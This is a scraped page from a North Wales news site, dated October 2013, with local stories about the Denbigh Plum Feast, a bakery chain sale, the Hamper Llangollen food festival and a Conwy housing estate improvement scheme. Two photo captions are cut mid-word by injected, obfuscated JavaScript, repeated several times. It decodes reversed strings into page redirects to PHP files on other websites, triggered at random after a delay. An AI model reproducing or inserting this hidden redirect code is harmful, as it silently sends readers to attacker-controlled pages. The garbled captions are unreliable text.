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Plum job for top chef in Denbigh

food North Wales Forum at Bodnant Welsh Food. Pictured is Forum Chair, Aled Williams award-winning Chef, Cennin Restaurant.

A top chef who trained with Gordon Ramsay and Heston Blumenthal has landed a plum job.

Aled Williams will be the star attraction at a celebration of the Vale of Clwyd’s very own gift to the season of mellow fruitfulness, the Denbigh plum.

Aled will be at this year’s Denbigh Plum Feast, on the weekend of Saturday and Sunday, November 2 and 3, when the town goes a delicate shade of purple in homage to its famous fruit.

The 31-year-old culinary star has worked at two Michelin-starred Welsh eateries, Plas Bodegroes, near Pwllheli, and Ynys Hir, near Machynlleth, before going on to win the Gordon Ramsay Scholarship.

That gave him the opportunity to work with Ramsay at his three Michelin star restaurant in London as well as two celebrated restaurants in New York.

Aled has also cooked at top restaurants in Australia, Aled had a stint at Heston Blumenthal’s famous Fat Duck, in Bray, West Berkshire, when it was considered to be the best restaurant in the world.

Aled is now back home in Wales as the Head Chef and Manager of the signature Cennin restaurant and the Moo Baa Oinc café, delicatessen and butchery, in Beaumaris, on Anglesey.

He believes passionately that food and tourism can together provide North Wales with the perfect recipe for economic success.

Aled said: “I want to make North Wales an exciting destination for food lovers.

“Our produce is amazing and that’s why I’m taking part in the Denbigh Plum Feast – it’s a native fruit from a corner of North Wales and it’s vital to preserve those signature foods.

“Welsh lamb and beef are known worldwide, so is Halen Mon, Anglesey sea salt, and Conwy mussels and the Denbigh plum should be part of that – I’m looking forward to trying it.

“We have talented chefs and fantastic food from our farms, orchards, rivers and seas so the more people who want to scream and shout about it the better. I’m on a mission to make North Wales a foodie heaven.”

Aled’s presence has been welcomed by Mario Kreft, of Plum Feast sponsors Pendine Park Care Homes, Wrexham, who said: “Aled is one of Wales’s very best young chefs and it’s great that he is plying his trade back in his native North Wales.

“We’re thrilled that he’ll be at the Plum Feast which is a wonderful celebration of local produce and we’ll be very keen to see what he comes up with for the Vale of Clwyd’s very own fruit.”

Meanwhile, Ooh La La, that native plum, first recorded in 1785 but believed to be at least 300 years old, is getting a Gallic gourmet makeover for the festival being held in its honour.

To celebrate this year’s Denbigh Plum Feast, the Chocolate Shop, on Vale Street, Denbigh, is serving up a Welsh take on a French favourite.

The Chocolate Shop’s Mark Young said: “In Gascony in the South West of France they steep Agen prunes, dried plums, in Armagnac and coat them in chocolate and we thought why not here.

“We’ve given it a Welsh twist, using dried Denbigh plums, Welsh whisky and asked our chocolatier, Aballu, from Rossett, to work their magic and we think they’re very good.

“We’ll also be using Denbigh plums to decorate our chocolate pizzas and making plum truffles too.”

Meanwhile the Denbigh plum is also trying for international recognition, according to Shelly Barratt, of Coya Marketing, who is helping organise this year’s Plum Feast.

She said: “We are seeking Protected Geographical Indication status for the Denbigh plum which is the only native Welsh plum and which has a history stretching back 300 years.

“The plums would have to be grown in Denbighshire and be an active product and then it would be up there with the other PGI products like sherry, Melton Mowbray pork pies, Bakewell tarts and Kendal mint cake.”

Denbigh will be painting the town purple for the Plum Feast with a host of activities and imaginative uses of the plum to entertain visitors, according to Nia Lloyd Jones, of arts and crafts group Rhodd Dinbych, who have helped put the event on.

She said: “On Saturday there will be lots of stands and stalls around the Town Hall and Crown Square promoting local food and produce and also arts , crafts and design.

“There are so many talented people around this area and the Plum feast will be showcasing what they do so it should be a brilliant day with lots on, everything from plum beer to plum chocolates, jam, bread and pies and lots more as well.

“There will also be a stage where local bands and musicians will play and a storytelling tent, buskers, and on Sunday there will be guided walks and children’s activities in the Castle.”

Wales’ only commercial grower of the fruit, Ian Sturrock at Lon Cytir, Bangor, will be offering advice on cultivating the tree which is available locally from Green Fingers Garden Centre, in Denbigh.

They’re ideal for gardens and are large, round, dark purple but strewn with golden dots and are much sweeter than other plums and also relatively disease free.

Cadwyn Clwyd Denbighshire Agri-Food Project Officer Robert Price said: “The events we have supported in Denbigh have proved very successful and have really showcased what the town and the area has to offer, particularly in the way of food.

“It is also very exciting to be playing a part in horticultural history by helping restore the Denbigh plum to its rightful place as a genuine native Welsh fruit tree.”

The Plum Feast kicks off on Saturday (November 2) at 9am in the town centre and goes on until 4pm.

There will be cookery and horticultural demonstrations , a hog roast with Denbigh plum sauce, and freshly baked plum bread.

There is a schools cookery competition and shop window display competition, town walks and talks, fun fairvand music with The Denbigh Stones.

A market will be selling fresh rural produce, seasonal foods, and crafts, and of course plum specials including Denbigh plum jam, plum wine, plum cake and bread, plum chutney and more. Even beauty goes plum crazy with plum hair and plum nails by Bricks Hair Studio and Double Crown.

Anyone interested in Cadwyn Clwyd’s Denbighshire Agri-FoodProjects can contact Robert Price on 01824 705802 or e-mail to:robert.price@cadwynclwyd.co.uk">robert.price@cadwynclwyd.co.uk

Thursday October 24th, 2013

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Award-winning bakery snaps up shops

VILLAGE BAKERY? Pictured at the Village Bakery Wrexham is Sharon Cooper, Retail Manager, Robin Jones, Village Bakery Managing Direc$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor, Edward Chatwin and shop Manager Jane Turnbull.

A chain of five shops in North East Wales has been bought by an award-winning firm of family bakers.

The outlets have been snapped up by craft bakers Chatwins from Nantwich, in Cheshire, who are celebrating their centenary this year.

The shops in Wrexham, Rhos, Llangollen, Ruthin and Holywell have  been sold by the Wrexham-based Village Bakery to enable them to concentrate on the booming wholesale side of the business.

All 50 of the staff are being kept on by Chatwins and have been reassured their jobs -  and their terms and conditions – are safe.

The family-run Village Bakery, which has three bakeries in Wrexham and Minera, was recently named as the fastest growing company in Wales at the Fast Growth 50 awards.

Among the members of staff who’ve transferred to Chatwins is Retail Manager Sharon Cooper.

She said: “The Village Bakery have really looked after us and they made sure we have gone to a very similar craft bakery that is family run.

“It’s really exciting for us as retail shops because Chatwins already had  21 shops of their own. It was a big surprise initially but I’m really excited about it, and the rest of the staff are all happy.”

Managing Director Edward Chatwin is a fourth generation member of the family firm established by his great grandfather John Chatwin in 1913.

The acquisition of the Village Bakery outlets means they now have a total of 26 shops, with the others being in Cheshire and Staffordshire.

He said: “We have known the Jones family at the Village Bakery for a long time and both bakeries have a similar ethos and a real passion for our products, so it was a very good fit.

“The shops are in excellent locations with a good footfall and a strong lunchtime trade.

“This was a great opportunity for us to expand by 20 per cent almost overnight and, whereas the Village Bakery are concentrating their efforts on the wholesale business, we are retail specialists.

“We have had a very positive response from the staff and we are very much looking forward to working with them.

“We’re very well known for our confectionery and our cake products, so that’s an area in which we hope to build on an improve, and hopefully win some more awards.”

Village Bakery Managing Director Robin Jones wrote individually to the affected members of staff.

He said: “Chatwins have exciting plans to build on the success we have already achieved in creating a chain of attractive, well-run outlets.

“Like the Village Bakery, Chatwins are a family run firm of craft bakers and all the existing staff will be kept on with pay and conditions being protected. There will be no job losses.

“The Village Bakery has been growing rapidly in recent years thanks to the continuing expansion of the wholesale market supplying a number of well-known national brands.

“While this is excellent news, it has inevitably meant that as directors we have not been able to devote as much time as we need to developing the retail side of the business.

“The shops and particularly the people who work in them deserve more time and attention than we are able to give at the moment and we felt  this was unfair.

“One option would have been to sell the shops separately which would have made sense in strictly commercial terms. However, we deliberately chose to accept the best offer not the highest offer because we felt it was important the five shops  were sold together as a going concern to safeguard the future of the staff for whom we have always had a high regard.

“The staff are in good hands. Chatwins are a well-respected firm of bakers who are celebrating their centenary this year – they are in this for the long-term.

“We firmly believe this is a great opportunity for you as members of staff and a great opportunity for Chatwins.”

“One of the main reasons they were so keen to buy the shops was the excellent customer service they witnessed as part of their research – they were blown away by the friendliness of  our staff and the rapport you have with the customers.

“Chatwins have all the right credentials to continue to serve the local communities with the same team of staff and, crucially, they will be able to devote the necessary time and attention to the shops.

“As a family, we have known many of the staff for a long time and we are proud of what we have achieved together

“We would sincerely like to thank the staff for all their hard work and loyalty over the years. We are confident they will have an even brighter future with Chatwins.”

Thursday October 24th, 2013

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Top festival tastes economic success

Hamper Llangollen 2013 Pictured is Sofie Weir aged 3 with (L/R) Great Grandma Margaret Bromley and Grandparents David and Carol Weir .

Foodies came in record numbers for a taste of the 2013 Hamper Llangollen food festival -  providing a big boost to the local economy.

With the Llangollen Pavilion packed to capacity, visitors had the opportunity to browse stalls offering everything from hand-produced liquors to spice infused honey and home churned butter to delicious decorated cup cakes.

Celebrity chefs, including Graham Tinsley Harri Wyn Jones and Dai Chef and were on hand throughout the weekend to demonstrate the very best cooking techniques and some of their own award-winning recipes.

This year’s festival is being supported by Cadwyn Clwyd whose contribution came via the Rural Development Fund for Wales 2007-2013, which is funded by the European Agricultural Fund for Rural Development (EAFRD) and the Welsh Government.

The event has now been officially recognised as one of the top 10 food festivals in the UK.

Sisters, Rashelle Smith, 26, and Renee Smith, 27, of Ruabon showcased their Yours Truly Vintage Catering business at the Festival and drew a large crowd as they cooked up a Spanish chicken and chorizo paella in a huge open pan.

Rashelle said: “This is our second time at Llangollen and the feedback we have had has been excellent. We have been so busy and it has to be good for our business.”

Renne added: “People tell us they are drawn to our stall thanks to the cooking aromas. I have to say we are really pleased with the sheer number of people here and the amount of interest shown in our produce and business.”

Among the new products being launched there this year was Britain’s oldest biscuit.

The ancient recipe for the Aberffraw biscuit dates back to the 13th century when it was first baked in the Anglesey village of the same name.

It’s now been brought back to life by former journalist James Shepherd and his wife Natasha, who live in Llansannan.

James said: “It has certainly been a learning curve and Natasha and I are delighted with the way our biscuits have been received by visitors to the festival this weekend.

“The event itself has given us the chance to seek advice from similar small enterprises and entrepreneurs as well as Cadwyn Clwyd.

“It has also given us a real platform to promote our exclusive brand of biscuits to a really wide audience and we are delighted to have had the opportunity to exhibit at what is one of the UK’s top food festivals.”

There was also a comeback from the woman who co-founded the festival – but this time as one of the exhibitors.

Sue Haygarth, from Buckley, was instrumental in setting up Hamper Llangollen when she worked for Denbighshire County Council’s Regeneration and Investment officer.

Sue chose this year’s event as the launchpad for her own one-woman business making mouth-watering macarons – her company is called KarmaSucre.

According to Dewi Davies, the Regional Strategy Director of Tourism Partnership North Wales, Hamper Llangollen  is a key part of their recipe for economic success in the region.

Recently the festival has also won a special award from Llangollen Town Council for its contribution to the commercial life of the town.

It’s estimated the event pumps nearly £400,000 into the local economy every year with £156,000 being spent at the event and a further £234,000 being spent in the town and the surrounding area.

The Food North Wales campaign launched by Tourism Partnership North Wales is aimed at building on that success and showcasing the very best in regional produce.

Mr Davies added: “It’s vital we raise awareness of our food and its authenticity. We are increasingly finding that visitors to the region like the look of our food, they like the taste of our food and they are spreading the word and telling others about the quality of the food on offer here in North Wales.

“It is fabulous to see Llangollen in the sunshine, the car park full and the pavilion packed to the rafters with festival goers, some of whom have travelled a considerable distance.”

He added: “We should not lose sight of the fact that high quality food and drinks are increasingly important to our visitors and the Hamper Llangollen Food festival certainly showcases the quality products we have on offer.”

Cllr Hugh Evans, the Leader of Denbighshire County Council, added: “I have nothing but praise for all those involved with the Festival including the exhibitors who have put on such a fantastic show.

“The sheer volume of people who have come along to visit is proof of what a wonderful event this really is. It is clearly something we should all, in North Wales, be very proud of.”

It was a sentiment shared by Gareth Evans, company secretary of rural development agency, Cadwyn Clwyd, who supported sponsored the event.

He said: “The festival is now a very important event in the calendar and people are not just browsing, they are spending their hard earned cash and buying the quality goods on offer.

“I have watched the Festival grow and expand since the first  event was held way back in 1999.

“This is clearly a very sustainable industry that can only be good for the region and rural North Wales in general.”

Carolyn Thomas, chair of Flintshire County Council, chair of the Clwydian Range and Dee Valley Area of Outstanding Natural Beauty and a Cadwyn Clwyd director, said the Hamper Llangollen Food Festival was a brilliant example of co-operation.

She said: “Flintshire and Denbighshire work closely together to promote the area along with our colleagues from other North Wales authorities.

“This wonderful event showcases the very best of what we have on offer right across the region.

“The Festival highlights the very best of North Wales and shows just what the community has to offer.

“We can and must learn from each other and continue to showcase North Wales to the world. The Hamper Llangollen Food festival plays an important part in doing that.”

Wednesday October 23rd, 2013

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Work starts on £1.1m green project to transform Conwy housing estate

Work starts on environmental improvements at the Peulwys estate in Old Colwyn.Residents Ginny Hardern and Jackie Jackson for the sod cutting watched by, from left, Matt S$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}towe, Environmental Contracts Development Manager at Cartrefi Conwy, Julie Barr, landscape architect, Luke Jones from GPurchase, Cartrefi Conwy chief executive Andrew Bowden and local AM Darren Millar,

Work has started on £1.1 million programme of green space improvements to transform a housing estate in Conwy.

The massive scheme on Parc Peulwys in Llysfaen will involve traffic management, building new paths, enhancing play areas, landscaping and the creation of a dramatic new entrance to the estate.

The scheme by housing association Cartrefi Conwy is expected to take no more than eight months to complete.

The work follows the recent £4 million programme to renovate more than 260 homes on the estate, with pioneering external wall insulation and other measures that should slash energy bills by 40 per cent.

Jackie Jackson, Chair of the Friends of Parc Peulwys and a tenant on the estate for more than 20 years, says the planned environmental improvement programme is ‘fantastic’.

She said: “All the tenants I have spoken to are delighted with the plans and with the refurbishment programme that has already been completed.

“In the past Parc Peulwys may have been unfairly burdened with a poor reputation, although I have always been proud of where I live. Now I think everyone thinks the same way and are equally proud to call Parc Peulwys their home.

“People take a real pride in the estate and are proud to live here. Cartrefi Conwy have certainly helped they have been wonderful and tenants have responded positively.”

It was a sentiment echoed by Ginny Hardern, Vice Chair of the Friends of Parc Peulwys and a tenant on the estate for more than 30 years.

She added: “It will take time to finish all the work but the end result will definitely be worth it.

“Everyone is pleased with the housing refurbishment work especially as tenants are saving money now thanks to the improved insulation. I think new paths, gardens and the other planned improvements will be a big boost to the estate.”

Clwyd West Conservative AM, Darren Millar, was impressed with the plans for the scheme.

He said: “It really is a very exciting day. Cartrefi Conwy has already invested millions of pounds in their Parc Peulwys housing stock which has seen tenants able to bring their heating costs down thanks to improved insulation.

“And now we are seeing, what is, a huge programme of environmental improvements which will further enhance the Parc Peulwys estate.

“There is a real sense of community among tenants and Cartrefi Conwy, as a registered social landlord, certainly play their part in enhancing and improving the environment for all residents.”

According to Andrew Bowden, Cartrefi Conwy’s Chief Executive Officer, the start of the scheme was a “momentous day” for Parc Peulwys.

He said: “Having completed the home improvement scheme I’m absolutely delighted how the estate now looks and continues to be looked after. It’s clear to me the community and tenants are embracing the improvement programme we have put in place.

“I do understand there will be a certain amount of unavoidable disruption to the lives of tenants while these works are completed. However, I truly believe the end result will be more than worth it.”

He added: “I feel there is a real sense of community now and a pride in the estate. The Cartrefi Conwy vision is to create communities to be proud of and there is little doubt, together at Parc Peulwys, we are achieving our goal.”

Landscape architect, Julie Barr, of Conwy-based Tirlun Barr Associates helped to design the environmental improvements along with Cartrefi Conwy’s in house expert..

She said: “It has taken a long time and a great deal of hard work on all our parts to plan the environmental improvements we are now embarking on.

“We are all  grateful to Parc Peulwys tenants for their co-operation and for their help in coming up with the ideas and features that they wanted to see included.

“The scheme will see the environment improved with better pedestrian access and the main squares around the estate re-designed. There will be a massive programme of trees and shrub planting and several new communal features such as a human sundial.

Luke Jones, of G Purchase Construction, said: “We are delighted to continue our excellent working partnership with Cartrefi Conwy in delivering, what is, a visionary scheme of environmental improvements.

“New paths and roadways, the planting of trees and shrubs and the other planned improvements will further improve the environment for all tenants.”

Cartrefi Conwy tenant and chair of its property and services group, Sylvia Duxbury, said: “I think what Cartrefi Conwy are doing at Parc Peulwys is absolutely fantastic. It’s a wonderful scheme that will benefit the whole community.

“I live on the Fron estate not here on Parc Peulwys but I do know tenants, and I have spoken to many of them, and they are absolutely thrilled with their reduced heating costs following on from the home improvement programme.

“This new environmental programme is further evidence of the work being done by Cartrefi Conwy to improve the environment and community for all tenants.”

Thursday October 17th, 2013

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